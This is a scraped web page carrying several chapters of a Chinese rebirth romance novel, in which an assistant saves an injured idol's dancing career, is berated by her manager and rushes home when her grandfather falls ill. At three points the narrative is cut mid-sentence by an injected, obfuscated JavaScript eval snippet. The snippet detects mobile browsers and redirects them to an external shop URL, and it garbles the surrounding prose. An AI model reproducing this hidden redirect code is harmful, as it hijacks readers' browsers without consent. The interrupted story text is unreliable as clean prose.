在他的认知之中,他们之间总是隔着一层说不清的边界。唱片店的偶遇,知己般的交谈,邮箱里笨拙的文字,她对他复杂的眼神,酒吧里刻意的疏离,江边带着泪的劝阻…… 从未像现在这样。 在所有人都慌乱无措时,反倒是她做出了最果断的决策,以及最迅疾的行动。她掌控着车辆的方向和速度,她甚至,提前准备好了一个医生。 剧痛让思维断断续续,但纪屿的心底深处,却因为这个沉默开车的身影,掀起了一阵巨浪。 * 一路顺畅,比林定预期之中,更快到达了医院。 检查、拍片、等待…… 小思拿着单据去缴费,纪屿一直疼的说不出话,林定则一直安静地陪在纪屿旁边。 医生对着片子,语气带着庆幸,“万幸,没有撕裂,更没有骨折。你们处理得非常及时,固定和冰敷做得很好,一定程度上避免了伤势加重。” 林定觉得这话如同天籁。 改变了吗?好像改变了。 伤势不同了,希望保留了。 “接下来呢,需要配合药物和理疗,完全恢复之前,不要再剧烈运动了哈。康复需要时间,但只要遵照医嘱,不会留下永久性功能障碍……” 小思开口打断道:“医生,那他还能跳舞吗?” 医生推了一下眼镜,“恢复得好,日常活动没问题。但想恢复到受伤前的运动水平,需要时间,也需要看后续康复情况的哈。你好好遵医嘱,舞蹈是可以恢复的。” 一直强撑着的林定,鼻子一酸,眼泪落了下来。 没事了,真的没事了,纪屿还能跳舞。 她做到了。她守住了。 她用力抹了一把泪。 “小思,您好好照顾纪屿老师,我这边得先回节目组了。”她说完,就往病房门外走去,小思在她身后回应了些什么,她根本没有听到。 当她开车回到节目录制地时,成子秋已经表演结束了,空气里弥漫着窃窃私语。 门内,老刘压的咆哮隐约传来: “……她还回不回来; ?!我早说了,这些学生就是靠不住的,眼里没有一丁点规矩!” 林定推门的手顿了一顿,随即推开。 老刘本来是对着几个不出声的工作人员发泄情绪,听到开门声,猛地转身。 看到是林定,老刘的怒火马上就爆发,“你他丫还知道回来?哇塞,下一个出场的是子秋,是子秋!你身为他的助理,在关键时刻你要跑到哪里去?为了一个傻杯对家,一个竞争对手?你是圣母吗?别人受伤关你屁事?” 他几步冲到她面前,伸出手就想给她一巴掌。 成子秋本来坐在沙发上,垂着眼看着手机,听到声响,便迅速站起,朝林定走来,挡在了她身前,用手拦住了老刘的巴掌。 老刘瞪了一眼成子秋,见他不放手,便打消了动粗的动作,嘴上却不饶人: “你以为你是谁呢,你是救世主吗?给你做个助理,显着你能了是吧?公司花钱请你来,是让你服务我们家艺人的!不是让你去给外人做善事的,那家伙摔死都与你无关!” “这个项目的奖金分成,一毛钱都不会给你发!我看你是根本没把这份工作当回事!” 成子秋皱着眉,嘴唇张了张,但老刘正在气头上,根本不给他插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172868|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的机会。 “要不是子秋拦着,我现在就让你卷铺盖滚蛋!笑不死人,第一次见这样干活的!” 休息室里的其他工作人员都不敢说话,连呼吸都不敢太大声。 林定站在原地,垂着头,看着地面。 她不反驳,也不解释。 若是其他小助理,被批评完肯定委屈的快要哭了,可林定却只有一种麻木的平静感。 她早就料到了会这样,从她决定冲上台的时候,就做好了准备要承受这一切。 甚至,她猜测到自己也许会被炒鱿鱼,也许不能再在成子秋这边打探圈子的情况。 脑海里闪过医生说出没事之时,纪屿那一瞬间松弛开来的肩膀,和他眼中亮起的微弱之光。 她今天做的一切,是多么值得啊。 钱可以再赚,工可以再找嘛。但拯救纪屿的膝盖,可只有这一次机会。 老刘骂得口干舌燥,可林定没有给到他一点他想要的反馈,此时就好像一拳打在棉花上。他狠狠瞪了林定一眼,像是看什么垃圾一样:“好好摆正自己的位置!是子秋让我再给你一次机会,若是再做一次错事,你就给我滚。” 说完这话,他摔门而去。 休息室里,其他工作人员之间流动着尴尬的空气。 过了一会,成子秋拍了拍林定肩膀,像是安抚。 林定抬起眼,低声道:“对不起,成老师,今天是我失职,给您和团队都添大麻烦了。” 成子秋看着她糟糕的脸色,和脸上无法完全掩去的疲惫,轻轻说:“不用和我说抱歉。意外发生的时候,你给了最好的应对措施,比全场任何一个艺人助理都棒。” 他的声音十分平和,一如既往的柔和,“以后若是我发生什么事,我都不会担太心了。因为有你在。” 林定愣了一下,听到这些话,心下有有些发虚,她不知道此时应该回答什么好。 她想起来车钥匙还在自己口袋,于是拿出来想将钥匙还给他。 成子秋没有接过来。 “录制结束了,你送我回去吧。小林,你拿了驾照,我还没有坐过你开的车。” “好的,成老师。” 可他们一起回到停车场的时候,成子秋却朝驾驶座走去。 “成老师……?” “今天辛苦了,我送你回去好好休息。明天不用急着上班。”成子秋对她说。 “……谢谢你。”林定真的很累了,她不与他推辞,再次低声道谢,只觉得自己对这个上司,一日比一日更加抱歉。 * 林定躺在床上,无法入眠。 这混乱的一日中,有些念头,在她心里倒塌,又悄然重建。 她脑海里浮现出纪屿的脸。 好像…… 他不再是那个在社交平台上,无论收到多少夸赞都永远保持微笑的偶像,而是江边码头那个因为她一句“想看你跳更多的舞”而瞳孔地震的普通人纪屿。 他不再是舞台上那个完美的偶像,而是她车上那个虚弱沉默的普通人纪屿。 他不再只是她仰望的那一颗星星,而是她身侧那个忍痛喘息的普通人纪屿。 他是一个会痛,会固执,会有柔软瞬间的普通人纪屿。 她拼命想改变的,是纪屿这个人的命运轨迹。 她想要守护的,也从来不只是顶流明星。 这些念头,如同磅礴大雨中的一道闪电,照亮了她内心深处一直不敢正视的懵懂情感。 心脏总是会为了一个人,不知节奏的砰砰跳动。 不再是见到偶像时那种雀跃憧憬的跳动…… 这是什么呢。 她似乎……开始明白了。 56.56 爷爷晕倒 清晨的阳光透过了并不厚实的窗帘的布料,在林定身上撒上柔柔的光芒。林定揉了揉眼睛,昨天太累,导致晚上的太沉了,一连做了好几个稀奇古怪的梦。她打了个哈欠,伸手去摸手机。 屏幕上,显示有三通未接来电,全部来自备注为“张阿姨”的号码,时间从昨晚凌晨三点半持续到凌晨四点。 林定坐了起来,困意全无,她感觉到自己的心脏猛地收紧。 张阿姨是爷爷奶奶家的住家保姆,大晚上来电……八九不离十是老人家出了什么要紧事。 她回拨过去,可听筒里只有漫长的嘟声,无人接听。 再拨,再打,都还是无人接听。 林定回想了一下,前世这时候爷爷奶奶都没有什么健康上的事情发生。 也许……也许是张阿姨误触了? 正准备再拨第三次,晓春却推门进来了。 “林小定!!!昨天晚上我就想问你来着!!!纪屿的事我听说了,你简直也太勇了!那个刘老狗没把你怎么样吧?” 晓春的行头已经穿戴整齐,准备出门了。她的关心让林定嘴角浅浅一笑,但此刻林定心里莫名堵得慌,难以细回。“没事,他就是骂了我两句而已。” “好吧……我去上班啦,你也赶紧起床吧!” 晓春刚帮她关上门,她手机上的微信消息却接连着弹了出来。 是顾蓝发来的消息。 “小姑娘,昨天还好有你在,要不是你反应快,后果不堪设想。闲下来的时候我请你吃饭。” 林定盯着那行字,昨日的回忆又涌现在眼前。 不知道纪屿现在怎么样了。 她点开了那个被她置顶在前,却沉寂已久的对话框,发了一句话问候的话过去。 * 林定给张阿姨打了几个电话都没接,她只好放弃,匆匆洗漱,赶往了录制现场。 今天的综艺内容是录制特别企划,没有竞演,而是选手们围坐在一起聊聊创作,玩些互动游戏,氛围轻松愉快。林定作为成子秋的助理,依旧如平日一样忙碌于各项琐碎的事,但她的目光却总是不受控制地在录制场地里寻找。 纪屿今天没有来。 不过也是,昨天才出了这么大的事情,好好修养才是正确的选择吧。 倒是小思来了,林定走到小朱身边,浅浅询问,小朱果然说:“纪屿老师昨天伤得那么重,这种非竞演的录制经纪人就不让他来了。医生也说,让他多休息,现在大概是在家歇着吧,我就每天来这看看,有要紧的节目安排就传达一下。” 伤筋动骨一百天,要不是综艺还没结束……林定垂下眼,心里五味杂陈。 录制间隙,成子秋今日深色如常,没和林定提昨天的事,只是像往常一样,敬业地录制节目,和林定工作交接也十分温和。 “你今天气色不好旁,多坐少站,别累着。” 林定笑笑,接过成子秋递给她的矿泉水。 就在这时,她听到了两个工作人员在角落的闲聊:“昨天那事故,你知道最后评分怎么算的吗?节目组讨论到半夜,最后竟然决定保留纪屿的表演分数。他也是很厉害,完整地唱完了歌,舞蹈部分也忍着疼做完了最后一个动作。真服了,舞台到底是谁检查的……最后结果嘛,他和成子秋并列第一,太强了。” 并列第一。 林定愣住了。 脑海中再次浮现出他摔倒在地的画面。如果换作别人,可能早就不管最后一个动作了吧,可他硬是撑到了音乐停下……不,不对,他是撑到了她冲上台的那一刻。 她呼了一口气。一切正朝着可控的方向良好地发展着……他受伤,但腿保住了;他下台,但分数保住了;她昨日的冒险行为,十分有意义。 她心想,自己一定能彻底地拯救纪屿吧。 手机再次震动。 屏幕上跳动着“张阿姨”三个字。 她马上接了起来,快步走到稍微安静一些的角落,急急问道:“阿姨?是爷爷奶奶出什么事了吗?” 电话那头,住家阿姨的声音带着慌乱和局促:“定定啊,你爷爷昨晚突然晕倒了,我打了120送医院了,医生说什么我也不太懂……你爸妈出差了,电话一直打不通,你奶奶跟退休办的旅行团去俄罗斯了,也联系不上……你能不能回来一趟呢?” 突然晕倒…… 林定的血液似乎瞬间凝固,她感到手脚冰凉。 “哪家医院呢?爷爷现在情况怎么样?”她的声音比自己想象的镇定,但握着手机的手指却一直在抖。 张阿姨断断续续说了医院名字和爷爷的大致情况。虽然张阿姨语无伦次,但林定听着大概也了解了,就是爷爷人还没醒,做了初步检查说是心脏问题,具体还要等下面的检查。 “好,阿姨您别慌,我现在就订机票回去。” 挂断电话,林定靠在墙上,深吸一口气,然后快速地走向成子秋休息的地方。 成子秋正在和另一位艺人谈笑着,看到她走过来,目光微微一凝。 风吹起了林定裙摆的边角,露出了膝盖上的淤青。不知道是不是昨天舞台上磕碰撞的,还是又和谁起了冲突。她的眼睛里,像是藏着很多情绪,可成子秋却看不清楚。待他回过神,发现不知什么时候她已经走到了他面前。两个人之间,只剩一步的距离。他能看清林定的睫毛,看清她眼框的湿润,和眼里的焦急。 “成老师,”林定的声音有些发颤,“我家里有急事,爷爷住院了,我爸妈出差了……我需要马上回G市一趟,我想……我想请假几天。” 成子秋没有一丝犹豫,眼里涌上来了浓浓的担忧,他立刻点头道:“去吧,路上小心。需要帮忙的话——” “你敢请假?” 一个刻薄的声音从后面传来。老刘不知何时走了过来,脸色很差:“林助理,昨天的事我还没跟你算账,今天你又要请假?合着欣喜娱乐是你家开的呗?” 成子秋皱眉正要开口,老刘已经抢在前面,压低了音量:“你搞清楚,你是成子秋的助理,不是谁家的护工。昨天擅离职守,今天又要请假,这工作你还想不想干啊?” 林定抬起眼和他对视。 她想起来前世,也是请假,当时她的上司付天,也是如此相似的嘴脸。 “刘哥,我爷爷住院,情况不明,我必须回去。” “行,回去可以。”老刘冷笑一声,目光恶毒地盯着她,“但你今天敢走呢,就别想回来了。助理而已,我可以马上找一个。你以为你是谁?你走吧” 空气仿佛凝固。 周围的几个工作人员悄悄别过脸,装作十分忙碌的样子。 林定深吸一口气,不再看他,转向成子秋,语气歉意:“成老师,对不起,我真的必须走。如果公司因此辞退我,我也能接受。” 她转身,头也不回地离开。 身后,传来了成子秋坚定的声音,他对老刘冷冷道:“她的假我已经批了。她是我的助理,做事一直都很好,你不能辞退她。” 林定没有回头,但眼角微微发热。 * B市机场,候机厅。 她坐在靠窗的位置上,盯着外面停机坪上起起落落的飞机,脑子里是一片空白。 直到此刻,她开始想,为什么会这样? 上辈子,爷爷的身体是在疫情之后才开始走下坡路的。那场席卷全球的病毒,无情地夺走很多人的健康,爷爷也是其中之一。可是现在,疫情还没来,爷爷怎么会突然…… 一个可怕的念头闪过脑海,会不会是因为她的重生呢? 截至目前,她改变了一些事情。纪屿的伤,她自己和朋友们的人生选择……蝴蝶效应,会不会因为这些改变,波及到了事? 她想起纪屿在舞台上的痛苦的表情,想起自己踩下油门时加速的心跳,想起老刘的毫不客气的辱骂,想起成子秋沉默递过来的车钥匙…… 她用力闭上眼睛,告诉自己不要胡思乱想。 上天给她机会重来,她才不会让事情变得更坏…… 现在,她看着屏幕上“老爸”“美丽的妈妈”“奶奶”三个打不通的号码,心中感到无限难受。 登机。 手机震动,屏幕上突然跳出一个意料之外的名字。 是他的微信来电。 林定愣愣地盯着那个名字,看着它闪烁,等待,然后熄灭。 对方没有继续打。 飞机即将起飞,空姐走过来提醒大家关机或是调整至飞行模式。她机械一般地照做,屏幕暗下去,连同那个未接的来电一起,沉入黑暗之中。 他为什么打电话,想说什么呢? ……算了。 现在真没心思想这些,爷爷才是最最重要的。 飞机起飞。 窗外,B市在迅速缩小。 眼泪忍不住下落。林定把头仰起来,靠着座椅靠背,看着机舱的天花板。顶上什么都没有,灯光白白的一片。 就像她的脑子,现在也是白茫茫的一片,什么都想不了,什么……都理不清。 她拼尽全力想保护的人,一个接一个地面临危险之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228122|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她真的感觉自己特别无能。她以为自己带着前世的记忆可以掌控一切,可实际上,命运却总是会调皮地开开黑色玩笑。 飞机降落,G市的湿热空气扑面而来。林定狂奔着出站,手机信号恢复的瞬间,滴滴滴滴的消息提示音响了起来。 有晓春的关心“你到了吗?”,有成子秋的问候“落地了吗?”,还有…… 一条来自纪屿的微信消息,显示发送时间在一小时前。 “定定,方便接电话吗?” 她的心沉了沉,手指比大脑更快地点下了那个来电的按钮。 彩铃是一首特别好听的老歌。 “定定?” 他的声音从听筒里传来,带着微微的沙哑。听到声音的一瞬间,她的眼泪哗啦啦地涌出来,她捂住嘴,不让自己发出哭的声音,但呼吸的不寻常颤抖还是让对面听出来了异常。 纪屿没有说话,只是安静地等待着,就像一片平静的海,正包容着她情绪的波涛汹涌。 林定觉得过了很久,她尽量让声音平稳下来,“纪屿。” “嗯。”他应了一声,然后问道,“你在哪?” “我回G市了,刚下飞机。”她顿了顿,声音又有些发抖了,“爷爷进医院了。我正在赶过去。” 电话那头,短暂的安静了一会,然后他说:“你一个人?” “嗯嗯,我准备打车了。” “注意安全。”他的声音很轻,“别着急。有什么事情,就给我打电话。” “好。”她说,声音比他更轻。 电话挂断。林定站在出租车等候区的队伍里,周围是嘈杂的人声和行李箱拖拉声,但她只听到自己的心跳,似乎比刚才更有力了一些。 好奇怪的感觉。 明明他什么都没做,只是打来一个电话,就像又给她点亮了一盏灯。 * 出租车在医院门口停下,林定下车冲进去了。 她一眼就看到了坐在长椅上的张阿姨。张阿姨脸色憔悴,看到她,立刻就站了起来,脸上牵起笑:“定定,你可算来了!” 林定着急地握住她的手,快速问:“张阿姨,爷爷现在怎么样了?医生怎么说呢?” “没大事,医生说没大事!”张阿姨,语气里满是庆幸,“就是这几天天气热,你爷爷白天在退休办打了两场乒乓球,晚上又去游泳,累着了,加上本来心脏就有点小毛病,一时供血不足晕过去了。现在呢,医生说在观察一晚上,明天再做些检查,没什么大问题就可以出院了。” 林定悬了一路的心,终于落回了原处。 “张阿姨,谢谢你。”她用力握了握阿姨的手,眼眶发酸,又想哭,“要不是你及时发现送医院,我真的不敢想……” 张阿姨摆摆手:“定定啊,你也别光谢我啦,我一个人哪搞得定这些?还好有你那个朋友,那个大明星帮忙嘛,忙前跑后的,不然我真不知道怎么办。” 林定呆呆地重复。 “我朋友?大明星?” 阿姨点点头,往林定身后的走廊尽头一指。 “就是他啊,刚才小伙子去帮你爷爷拿药和住院单咯。哦哟,长得可帅了,就之前来吃饭的那个嘛,现在可比之前又帅好多了……” 林定顺着她的手指方向望去。 走廊尽头,白炽灯光下,一个人正朝这边缓慢地走来。 他穿着简单的白色T恤,头发有些凌乱,左腿上还戴着一个护膝支具,走路的姿势僵硬不似常人。手里拿着几张单据和一大包药,垂着眼正在看单据上面的字,直到走近来,才抬起头来。 视线相撞。 林定忘了呼吸。 纪屿…… 他怎么会……在这里? 他腿还伤着,怎么来的? 他为什么…… 所有的问题在脑海里盘旋,却一个也问不出口。她只是目光呆滞地看着他,看着他一步步走近了,看着那张她熟悉到DNA里的脸上,浮现出一个浅浅的笑容。 “定定,别愣着了,”他走到她面前,声音疲惫,却比电话里更加温柔,“不进去看看爷爷?” 林定张了张嘴,却只发出一声极轻的的声音。 “纪屿……” 她不知道自己此刻的表情是什么样,只知道…… 在这个她以为自己必须独自面对的黑暗时刻,有一个人,受着伤,跨越这么多个城市,出现在她最需要的地方。 这个人,就是她的光。 是她的星星。 是她,最最喜欢的人。 57.57 我们之间的关系 林定只觉得,与纪屿对视的每一秒,仿佛很久。 他无声地对她笑了一下,朝爷爷的病房点了点头。她才收回目光和心动,微微点头,擦过他的身侧,推开了病房的门。 病房里非常安静,只有医疗仪器发出的轻微滴滴声。爷爷躺在床上,闭着眼睛,胸口正随着呼吸,平稳地起伏着。他那布满岁月痕迹的手背上,扎着一枚留置针,正连接着输液管。 林定轻轻走到床边。 她看着爷爷沉睡的脸,眼眶又忍不住酸了。 她的脑子里,不受控制地闪回着另一个画面。 前世爷爷出殡的那日,爷爷躺在那里面,脸上是被化得很不自然的妆容。她是那日才清楚的意识到,爷爷再也不会对她笑了,再也不会亲切地叫她的名字,再也不会回来了。身边的人都在哭,可她却已经难过地哭不出来了,她就呆滞地站在一步之外,看着那张熟悉的脸,永远地离开了他们。 那一天,天空特别灰暗。 阳光从林定身后的玻璃窗外头照了进来,照着爷爷头上的白发,发出银色的微光。 林定恍惚地将思绪拉回,病房里的滴滴声也渐渐清晰。 她曾经想过,如果有时光机该多好呢,那她就可以把爷爷带回来了。可他们都说,世上没有如果,让她别想了。 她慢慢伸出手,接过那暖人心扉的一缕阳光。 今天的阳光也很温柔。 她哭了出来,她差点又要失去爷爷了。她用手背擦眼泪,可眼泪却怎么也止不住。 爷爷听到声音,醒了过来。 他睁开眼,看到床边的林定,眼睛里先是茫然,然后慢慢亮了起来。“定定?”他的声音十分沙哑,带着刚睡醒的恍惚,“你怎么来了?不是在B市实习嘛?” 林定赶紧凑过去,握住爷爷那只没有输液的手。这只手非常温暖,让她的心松了一松。 “爷爷,你吓死我了。”她的声音明明是哭腔,嘴上却笑着,“以后别运动过量了,打球别太用力,也别游泳了,医要听医生的话好好休息!” 爷爷那张布满皱纹的脸,对她嘿嘿一笑,反拍了拍她的手背:“没事,就是累了点。我打球都是跟退休办的打,动一动玩玩而已了。你咋还哭了呀,爷爷好着呢。不许哭啦。” 林定点点头,握紧爷爷的手,感受着那万分真实的温度,很久,很久。 等她终于平复下来,爷爷也累了,说想再睡一会。于是林定走出病房来,走廊里只有张阿姨坐在长椅上,却不见纪屿的身影。 “阿姨,爷爷醒了,不过又开始睡觉了,你要不要回去休息下,累一天了。这里我看着就可以。”林定走过去,对张阿姨说道。 张阿姨抬起头,摇摇头:“我才回来呢。那个帅哥早上落地就来这看着了,让我回去歇过了……” 林定诧异,“早上……”她环顾了一圈,还是没有看到纪屿:“阿姨,他现在去哪了?” 张阿姨点点头,“你那个明星朋友啊,找医生去了,说是要问问你爷爷的情况。哎呀,这小伙子真是不错,长得帅,人又好,今儿凌晨多亏了他——” “凌晨?”林定打断道,“阿姨,您昨晚就联系他了?” “对啊!你和你爸妈都联系不上,你奶奶也联系不上,我急得没办法,就给他打了电话。” 林定愣住了。 不对,张阿姨怎么会有纪屿的电话…… “阿姨,您怎么知道他电话的……” “哎呀,他都来你爷爷家好几回了,我怎么会没有他的电话嘛。”张阿姨摆摆手,“我三点多着急得很,给他打了电话过去,说了情况,他就让我别慌,说他马上联系医生。后来也一直跟我保持着联系,问爷爷情况怎么样。今天一大早,他就说已经搭了最早的航班回来G市了,一下机就赶过来了。我都感觉很抱歉,你是没看见吧,他腿还一瘸一拐的嘞,走路都不怎么方便,还一直帮忙跑前跑后……” 林定站在原地,感觉这些字她都会,可为什么好像听不懂的样子。 张阿姨说的是纪屿吗,这些事,都是他做的吗…… 他腿上还有伤,医生明明让他好好休息,不能走动…… “阿姨,”她感觉自己的声音有些飘飘的,“你是怎么知道他电话的,我是说……他什么时候给你号码的?” 张阿姨露出诧异的表情:“啊,你不知道吗?你朋友回国之后,来过家里看你爷爷的。后来,去B市之前,又来吃过一顿饭,你爷爷高兴坏了,叫我做了好多菜嘞。哦对了,他还特别关心爷爷腿脚不好的事。上个月,那个单元楼不是通知要装电梯吗?可全楼业主签字一直搞不定,后来他直接出大头,电梯马上就装起来了。你是不知道,你爷爷现在都盼着他来吃饭呢,说自己孙女交了个好朋友,还是大明星,特别有出息,人还特别好。” 回国后……他来过家里……? 去B市之前……他还去爷爷家吃过饭……? 装电梯……提早装电梯了……? 这些事,她一件都不知道。 他们之间到底是什么关系呢。 她自知道自己特别拧巴,是矛盾的,是别扭的,是最开始拼命想靠近,后来却又拼命地保持距离的那个人。 可他对她呢? 偶尔靠近,又偶尔疏远。 在她不知道的时候,做了这些,来看只有过一面之缘的她的爷爷,陪他吃饭,关心他的腿脚,还出钱装了电梯。 她转过身,快步穿过走廊,朝医生办公室的方向奔去。 拐角之处,她终于看到了他。 纪屿正扶着墙,和一个穿白大褂的老医生说话。他微微低头,听着医生的叮嘱,手里还拿着几张检查报告。 光,从走廊上的窗户照了进来,在他的脸上撒上了柔和的光晕。 纪屿回头,对上她的目光。 林定脸发热,快步走过去,努力让自己的声音尽量听起来平稳:“医生你好,想问问您我爷爷的情况。” “你爷爷的姓名是?” “爷爷没什么大事,就是劳累过度加上天气太热,心脏一时供血不足。医生说再观察一天,明天再做个心脏检查,没问题的话就可以出院了。”纪屿对林定说道。 医生看了纪屿一眼,又看看林定,恍然大悟发觉这俩人是一家的,于是他和蔼地对林定说道,“老人家年纪大了,以后要他注意别太累了,运动呢,要适度。” 林定连连点头应好,一边松了口气。 医生看着他俩,忽然露出一个意味深长的笑容:“你们爷爷真是好福气,有两个这么孝顺的孙子。一个跑前跑后问病情,另一个也大老远赶回来陪着,难得难得。现在很多孙辈的都不管爷爷奶奶,一年也不见一次的……” 林定一愣,下意识摆手道:“啊不是的,我是爷爷的孙女啦,他不是爷爷的孙子——” “哦?”医生眉毛一挑,醒悟过来,感慨道,“原来这个帅哥是老人家的孙女婿啊?那更是好福气了!”说完,医生不等林定反应过来,便笑着朝他们摆摆手,转身进了办公室,留下林定和纪屿站在原地。 林定的脸腾地一下红透了。“不是啊,他不是的——医生!医生!”她对着关上的门喊了两声,然后着急地转头来,看向纪屿道,“医生他误会了,要不我进去和他说清楚?” 纪屿看着她窘迫的样子,嘴角轻轻地弯了弯。 “没事。”他说,“医生这么忙,转头就忘了。” 林定愣了一下,缓缓道:“那也是……”她悄悄看向他的脸,只见他面色疲惫,却依旧……好看。 他看起来真的很累。 整个人,透着一股很明显的疲惫,而且他一直微微侧着身,把重心放在没受伤的那条腿之上。 “你的腿……”她的注意力瞬间被转移了,“医生不是让你好好休息吗,你怎么还大老远飞过来了?你这样走动,万一影响伤势了怎么办呢……” 纪屿低头看了眼自己的腿,淡淡道:“没事,我没怎么动。” “你这,什么叫没怎么动呢……”林定急地反驳,“你都从B市飞到G市,还从机场到医院,还走来走去问医生,动了这么多……” 他看着她因为着急而泛红的脸,心里一软。 “你爷爷的事,比我的伤更重要。” 林定张了张嘴,却发不出声音。 过了好一会儿,她才轻轻说:“纪屿……谢谢你,谢谢你在这时候帮我。可是你不用做这些的,你本来就不需要,呃,你不用——” “定定。”他打断她,她抬起头。 “如果没有你,我可能再也没机会跳舞了。”他说得很轻,却每一个字都特别地清晰。林定的心跳乱了,呼吸也变得不规则。“没有人会知道,当我听见医生说,我还能恢复的时候,心情有多么的好。” 我知道,我都知道……林定心里默念着。 纪屿默了一会儿,道:“谢谢你,定定。如果没有你,我现在不可能站在这里。”他的声音很柔和,“还有,对不起。” 林定呆了一下,问道:“对不起啥?” “在码头的那天,”纪屿缓缓开口,“你和我说,你做了一个梦,梦到我跳舞后,发生了不好的事情。” “我要是那天听你的话,不决定跳那个舞,”纪屿垂下眼,“也许就不会受伤,也不会让你,因为我被公司骂了。” 林定心下叹气,她被老刘骂的事还是传到纪屿耳朵里了。“那没什么,”她无所谓地摇摇头,轻描淡写地说,“职场嘛,被骂很正常啦。”她笑了笑,纠正他的话:“你的舞拿了很高的分数呢。如果你当初没有跳……” 林定顿了顿。 从前,那支未完成的舞,现在已经完成了。最重要的是,纪屿没有永远失去舞台。 “舞蹈完成的很好,你,还有你的粉丝们,都没有遗憾了。” 纪屿再次看向她,目光里的情绪越来越浓烈。 “这个梦的结局,”纪屿的声音很轻,情绪复杂,“除了我不能跳舞了,还有其他的吗?” 林定别开眼。重生这件事,说出去谁会信呢? 她想起那个粉丝们狂欢的夜晚,想起那个狂欢过后让她窒息难以置信的新闻,想起她重生后一遍遍发誓要改变的结局…… 不只是他的腿,而是他的生命。 可这些,她不能说。她不能说,我梦到你死了。她也不能说,我是重生回来的,我要救你。 “没有。”她的语气斩钉截铁,“就是你不能跳舞了。其他的我记不清了。” 纪屿看着她,没有说话。 “现在你的脚还可以恢复,”林定忽然又开口,“不是梦的那个结局啦。所以,你别多想,好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263413|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养伤才是。” 过了几秒,林定突然想起自己跑过来的目的。她移开视线,问出了那个盘旋在心里很久的问题:“纪屿,刚才张阿姨和我说……” “你回国后……去看过爷爷,来吃过饭,还有装电梯的事。这些,你……你怎么都没跟我说过呢?” 纪屿没有立刻回应,反倒是走到走廊边的长椅慢慢坐下。林定下意识想伸手扶他,却又马上缩了回去。 “说什么?”他坐下后,抬头看她,“说我去看了你爷爷,吃了顿饭?我出国这么久了,回来拜访老人,是应该的。” 应该的? 什么…… 林定的脑子里一团乱麻。 “可是,”她努力地组织着语言,“还有装电梯的事,嗯……你怎么直接就给装了?物业已经在召集签字了,等一等就能……” “那不是还有人不愿意签字吗。”纪屿打断她,语气寻常地得像在谈论今天吃什么,“爷爷腿脚不好,早点装好电梯,也方便出行,早装早舒坦。要等到他们签完字,都不知道什么时候了。” 她当然知道有人不愿意签字。前世,那部电梯之所以迟迟装不起来,就是因为有个别低层住户不同意,还问高层住户索要不合理的巨额赔偿,所以开工一直在拖。直到爷爷走了,电梯都还没装好。 她攥紧了手指:“可是,装电梯的费用,你全出了吗?”她心下难受,万分自责,自己没有能力一掷千金为爷爷装电梯。 “已经装完了。”他淡淡道,“你不用管了。” “我怎么能不管?”林定急了,“那是我爷爷奶奶家,这钱理应我来还你的。” “不用。” “可你现在……”她咬咬牙,“你现在还是糊咖呢,这个电梯费用很贵的……” 纪屿愣了一下,然后笑出了声,他看着她,眼里溢出来了光。 “定定,”他忍着笑,“我虽然是糊咖,但不至于连建老小区电梯的钱都出不起。而且,也不全是我出的,同意建电梯的业主都出了钱,我只是补了不够的部分。” 林定的脸微微发热。 “再说了,”他收起笑,认真看向她,“你说还我呢。定定,你实习工资才多少?不是还被欣喜扣了奖金吗?” 林定语塞,他又是怎么知道她被扣了奖金的? “再怎么糊,我也是个艺人,”纪屿说,“这个钱我出得起。你别想太多。” 她支支吾吾半天:“可是吧,可是你不该做这些的。我们之间好像……没必要这样的……” “爷爷腿脚不好,早点装好电梯,他出门就方便一点,也安全一点。”纪屿站起来,摸了摸林定的头。 “你也能更安心。” 这种感觉太奇怪了。就好像她拼命想守护他,却不知道,他也在用自己的方式,守护了她所珍视的人。走廊里很安静,只有远处传来的脚步声,以及护士站的询问声。 林定突然期望,会来一场大雨,将这炎热又心跳的夏天降降温。 “定定。”纪屿再次叫她的名字,“你救我的时候,想过该不该吗?” 林定愣住了。 她做那些事的时候…… 他是指准备医生,冲上台,开车,送他去医院,这些事情吗。 她只想着,不能让他出事。 纪屿看着她,眼底有什么东西在微微亮起。“定定,我们之间……” 他想说点什么,却被突然响起来的手机铃声打断。 纪屿看了一眼屏幕,皱起了眉,接起来电话。“嗯。知道了。我晚点回去。” 挂断电话,他看向林定:“公司那边,发现我没在家休养了。我得先回去了。” 林定点点头。 “纪屿,你的腿,”她终于开口,“你回去之后记得要好好休息,不能再乱动了。” “嗯。”他应了声,对她展开笑容。 “还有,按时吃药……还有,不要再跑出去了,你养伤才是当下最最最重要的事。” 纪屿应声后,朝她挥了挥手,转身。可走了两步,却又停了下来,回头看向她。 